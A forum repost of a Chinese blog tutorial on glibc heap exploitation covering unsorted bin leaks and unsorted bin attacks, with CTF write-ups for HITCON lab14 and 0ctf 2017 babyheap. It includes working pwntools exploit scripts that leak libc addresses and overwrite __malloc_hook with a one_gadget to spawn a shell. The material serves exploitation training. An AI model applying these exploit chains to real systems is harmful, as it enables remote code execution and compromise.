12558网页游戏私服论坛

 找回密码
 立即注册
游戏开服表 申请开服
游戏名称 游戏描述 开服状态 游戏福利 运营商 游戏链接
攻城掠地-仿官 全新玩法,觉醒武将,觉醒技能 每周新区 经典复古版本,长久稳定 进入游戏
巅峰新版攻 攻城掠地公益服 攻城掠地SF 新兵种、新武将(兵种) 进入游戏
攻城掠地公 散人玩家的天堂 新开 进入游戏
改版攻城掠 上线即可国战PK 稳定新区 全新改版,功能强大 进入游戏
少年江山 高福利高爆率 刚开一秒 江湖水落潜蛟龙 进入游戏
太古封魔录 开服送10亿钻石 福利多多 不用充钱也可升级 进入游戏
神魔之道 签到送元宝 稳定开新区 送豪华签到奖励 进入游戏
神奇三国 统帅三军,招揽名将 免费玩新区 激情国战,征战四方 进入游戏
龙符 三日豪礼领到爽 天天开新区 助你征战无双 进入游戏
王者之师 免费领豪华奖励 免费玩新区 6元送6888元宝 进入游戏
查看: 277|回复: 0

从零开始的Linux堆利用(六)

[复制链接]
发表于 2021-7-18 18:45:43 | 显示全部楼层 |阅读模式
期末考试另有各种大作业比力忙,有一段时间就没怎么写博客,补一篇Unsortedbin相关的
里面涉及到的二进制程序可以在https://buuoj.cn直接在线做
Unsorted bins

unsorted bin顾名思义就是没有排序过的bins
我们看一下main_arena中的布局

此中可以看到有0x20到0xb0的fastbins(但是实际上最后三个不用)
之后另有从0x20到0x3f0的smallbins
之后是0x400到0x80000的largebins
这些bins都是双链表,所以比fastbins访问起来要慢一点
关于unsorted bins的来源,主要有三种情况:

  • 如果一个chunk与top chunk不相邻,而且巨细大于0x80(即不属于fastbins),在被free后会加入到unsorted bins中;
  • 申请chunk时有时会从一个比力大的chunk中分割成两半,一部分用来分配内存,另一部分则是会加入到unsotred bins中;
  • 当执行malloc_consolidate归并空闲堆块时,如果这个chunk不与top chunk相连,有大概会把归并后的chunk放在unsorted bin中;
在执行malloc的时间,如果在fastbin、smallbin都没有找到合适巨细的块,就会在unsorted bin中举行遍历,搜索合适巨细的chunk,同时会顺便把unsortedbin中的chunk举行排序,根据chunk的巨细放到合适的位置;
unsorted bin的特点是,匹配时会用bk从后向前遍历,对没有排序的chunk举行sort并unlink,如果遇到合适的chunk就会将其unlink并malloc分配;
假设目前unsorted bins中有三项,分别是0x100、0x90、0x400的chunk

这时假设我们执行了一个malloc(0x88),需要一个巨细为0x90的chunk
在unsorted bin搜索中从后向前搜索,发现了0x400的chunk
发现巨细不符合,将这个chunk放到0x400应该在的large bins中,并将其unlink
unlink的过程实际上是执行了head->bk = p->bk,让头节点中的bk指向unlink掉的chunk之前的chunk
再继续运行搜索发现unsortedbins的头的bk指向的正好是0x90巨细,则将其unlink并直接分配给malloc利用;
Unsortedbin 攻击

unsortedbin相关的攻击主要有两个
一是unsortedbin leak
二是unsortedbin attack
unsortedbin leak

我们利用malloc_testbed试一下
chunk_A = malloc(0x88)chunk_B = malloc(0x88)malloc(0x28)free(chuk_B)首先申请两个不属于fastbin的chunk
之后申请一个fastbin的chunk,为了防止与top chunk相连导致直接归并
最后释放b,在GDB中调试看到确实放在了unsortedbin中

现在由于unsortedbin中除了头节点只有这一项
所以这个chunk_B中的fd、bk都指向了main_arena
查看一下main_arena中unsortedbin的fd和bk

可以看到两个也都是指向了这个chunk
那么我们修改一下脚本,再把这个chunk申请返来
malloc(0x88)
可以看到,这时chunk中的fd和bk是没有被清除的
因此通过输出函数之类的是可以直接输出这两个的值的
unsortedbin leak就是通过输出unsortedbin list中链表尾部的chunk的fd字段,走漏出main_arena中的地点
由于main_arena一般是在libc中,有了这个值我们就得到了libc中的基地点;就可以通过这个方法绕过ASLR
另外,一般main_arena的起始地点与__malloc_hook的地点只差0x10
所以leak实际上的结果是:
输出了fd即main_arena中unsortedbin的值->
通过这个地点计算出main_arena的起始地点->
通过这个起始地点获得libc的基地点

unsortedbin attack

unsortedbin attack就是针对这个bk在写时没有举行验证的攻击
比力低版本的glibc中没有校验这个最后的bin到底是不是双向链表中的成员
在联合堆溢出或UAF的漏洞编辑unsortedbin中的bk指针后,就可以直接将main_arena中的bk覆盖写掉
在glibc/malloc/malloc.c中的_init_malloc有这样一段代码
/* remove from unsorted list */if (__glibc_unlikely (bck->fd != victim))  malloc_printerr ("malloc(): corrupted unsorted chunks 3");unsorted_chunks (av)->bk = bck;bck->fd = unsorted_chunks (av);这会将bck->fd写入到本unsortedbin的位置
所以我们控制了bk就可以将unsorted_chunks(av)写入到任意位置;
还是之前的那个程序,我们在申请并释放chunk_B之后编辑一下chunk_B,在bk写入伪造的指针
在本来的脚本中加了这样一行
chunk_A = malloc(0x88)chunk_B = malloc(0x88)malloc(0x28)free(chuk_B)edit(chunk_B,p64(0xdeadbeef) + p64(heap))运行看到

看到chunk_B的fd和bk都变成了我们写入的值
这之后再执行一次
malloc(0x88)这时就会申请unsorted bin中的这个块,将其从本来的地方unlink
同时会在main_arena->unsortedbin_bk写入我们伪造的这个bk

为我们这里将bk指向了chunk_A
可以看到chunk_A的fd也变成了main_arena中的unsortedbin
这里的两个写操作是
p = victim;p->bk->fd = p->fd;p->fd->bk = p->bk;由于p是链表尾部的chunk,p->fd是main_arena中unsortedbin头
所以实际上就是头中的bk被写为我们伪造的bk(副作用)
另外在我们伪造的chunk的fd写入unsortedbin头的fd(核心)
核心的结果就是可以在任意地点写入这个unsortedbin head的fd
实例

这边我们做两道题学习一下
HITCON-Training lab14

程序是有源代码的,可以看到主要的内容就是一个循环,如果magic>4869就可以输入flag
void l33t(){        system("cat /home/magicheap/flag");}int main(){        char buf[8];        setvbuf(stdout,0,2,0);        setvbuf(stdin,0,2,0);        while(1){                menu();                read(0,buf,8);                switch(atoi(buf)){                        case 1 :                                create_heap();                                break ;                        case 2 :                                edit_heap();                                break ;                        case 3 :                                delete_heap();                                break ;                        case 4 :                                exit(0);                                break ;                        case 4869 :                                if(magic > 4869){                                        puts("Congrt !");                                        l33t();                                }else                                        puts("So sad !");                                break ;                        default :                                puts("Invalid Choice");                                break;                }        }        return 0 ;}要执行magic,我们需要满足两个条件,一是case设置为4869;二是让magic>4869
而与magic有关的地方只有在初始化堆时将其设置为了0
我们可以利用unsortedbin attack向magic处写入unsortedbin的fd
这个数肯定是大于4869的
顺理成章的就可以写出脚本
malloc(0x28, '')malloc(0x98, '')malloc(0x28, '')free(1)payload = p64(0)*5 + p64(0xa1) + p64(0xdeadbeef) + p64(elf.sym.magic-0x10)edit(chunk_A, len(payload), payload)malloc(0x98, '')但是运行的时间发现这个repo 里面现成的程序是和默认的libc链接起来的,这样free之后被加入到了tcachebin而不是unsortedbin
所以用patchelf举行修改,或者也可以重新编译一下
关于patchelf的安装
git clone https://github.com/NixOS/patchelfcd patchelf./bootstrap.sh./configuremakemake install利用时
patchelf --set-rpath .links magicheap这样就可以为这个二进制设置一个runpath
只需要在.links下放好需要的ld.so.2和libc.so.6两个软链接就可以了
不过这边直接重新编译了一下
gcc magicheap.c -no-pie -o magicheap -Wl,--rpath=.links运行可以看到这里magic变量的值已经被覆盖了

之后再发送已往4869

就执行了这样一个cat读flag的操作,不过这里没有创建文件夹,就提示no such file了;
babyheap_0ctf_2017

这题可以直接在buuoj上做
首先checksec发现安全机制都打开了

漏洞点位于添补数据的函数中

这里在fill这个选项中固然举行了长度判定,但是这个比力不是和chunk自己的巨细举行比力,而是和用户输入的size比力,所以只要输入一个比力大的size就可以溢出chunk反面的内容

按照double free做一下试试看
a = malloc(0x38)b = malloc(0x38)free(a)free(b)free(a)这时gdb调试看到

tcachebins
这是由于链接的库文件不对,网上搜了之后安装了patchelf和glibc-all-in-one
patchelf --set-interpreter=~/glibc-all-in-one/ld.so.2 babyheappatchelf --set-rpath=~/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ babyheap之后就可以展开fastbin attack了
但是这个程序开启了Full RELRO和PIE
那么修改got表是不大概了,尝试修改__free_hook或__malloc_hook
首先我们需要走漏出一个libc的地点,之后利用fastbin attack修改__malloc_hook为one_gadget的地点
走漏libc地点的话可以利用unsortedbin leak
但是这个程序中分配内存时利用的是calloc而不是malloc
分配之后会清零,所以没办法简单的直接读出来
思路是:

  • 首先free两个fastbin,记为a,b
  • 申请一个unsortedbin,记为c
  • 利用溢出修改第二次free的fastbin (b) 的fd,使其指向unsortedbin (c)
  • 利用溢出修改unsortedbin的size,伪造成fastbin的巨细
  • malloc两次fastbin,申请到的空间分别是本来b、c所在的空间;这时同时有两个指针指向c
  • 利用溢出修改unsortedbin的size,使其恢复为一个unsortedbin的巨细;
  • free掉unsortedbin
  • 利用另一个fastbin的指针走漏出unsortedbin中的fd和bk,即main_arena的地点
这里有一个注意点,固然我们不知道堆的地点,但是由于CTF的程序运行时都是堆刚刚初始化的状态,第一个堆快的第8位应该是按0对齐的,所以我们修改fastbin时只修改第八位就可以指向unsortedbin
核心代码
chunk_A = malloc(0x28)chunk_eB = malloc(0x28)chunk_B = malloc(0x28)chunk_eC = malloc(0x28)chunk_C = malloc(0x88)chunk_D = malloc(0x28)# avoid consolidatefree(chunk_A)free(chunk_B)fill(chunk_eB,49,p64(0)*5 + p64(0x31) + p8(0xc0))# point to chunk_Cfill(chunk_eC,48,p64(0)*5 + p64(0x31))# change size to a fastbinmalloc(0x28)dup = malloc(0x28)# point to chunk_Cfill(chunk_eC,48,p64(0)*5 + p64(0x91))# change size back to unsortedbinfree(chunk_C)执行这一段脚本

可以看到unsotredbin中的fd和bk都指向了main_arena
那么我们就乐成拿到了一个走漏的libc地点
由于一般__malloc_hook与main_arena只差0x10的距离,我们直接相减就可以得到__malloc_hook的地点

接下来就尝试覆盖__malloc_hook改为system函数或者是one_gadget
再一次利用fastbin_dup,这一次修改此中的fd指向__malloc_hook附近的fake chunk

这里0xaed有一个可以用于伪造的地方
那么
# get shellchunk_E = malloc(0x68)chunk_eF = malloc(0x38)chunk_F = malloc(0x68)free(chunk_E)free(chunk_F)payload = b'\x00'*0x38 + p64(0x71) + p64(malloc_hook-0x23)# find_fake_fastfill(chunk_eF,len(payload),payload)这样之后再申请两次巨细为0x68的chunk就可以获得一个在malloc_hook附近的chunk了
malloc(0x68)chunk = malloc(0x68)fill(chunk,0x1b,b'\x00'*0x13 + p64(one))在此中填上gap和one_gadget的地点,结束;
chunk_A = malloc(0x28)chunk_eB = malloc(0x28)chunk_B = malloc(0x28)chunk_eC = malloc(0x28)chunk_C = malloc(0x88)chunk_D = malloc(0x28)free(chunk_A)free(chunk_B)fill(chunk_eB,49,p64(0)*5+p64(0x31)+p8(0xc0))fill(chunk_eC,48,p64(0)*5+p64(0x31))malloc(0x28)dup = malloc(0x28)fill(chunk_eC,48,p64(0)*5+p64(0x91))free(chunk_C)io.recvuntil('Command: ')io.sendline('4')io.recvuntil('Index: ')io.sendline(str(dup))io.recvuntil('Content: \n')fd = u64(io.recv(6).ljust(8,b'\x00'))main_arena = fd-0x58success("Main Arena's Address is "+hex(main_arena))malloc_hook = main_arena-0x10libc = LibcSearcher('__malloc_hook',malloc_hook)libc_base = malloc_hook - libc.dump('__malloc_hook')system = libc_base + libc.dump('system')success("System's Address: "+hex(system))one = libc_base +0x4526asuccess("One Gadget's Address: "+hex(one))# get shellchunk_E = malloc(0x68)chunk_eF = malloc(0x38)chunk_F = malloc(0x68)free(chunk_E)free(chunk_F)payload = b'\x00'*0x38 + p64(0x71) + p64(malloc_hook-0x23)# find_fake_fastfill(chunk_eF,len(payload),payload)malloc(0x68)chunk = malloc(0x68)fill(chunk,0x1b,b'\x00'*0x13 + p64(one))malloc(0x8)io.interactive()
来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
楼主热帖
回复

使用道具 举报

*滑块验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|12558网页游戏私服论坛 |网站地图

GMT+8, 2024-4-29 07:11 , Processed in 0.125000 second(s), 31 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表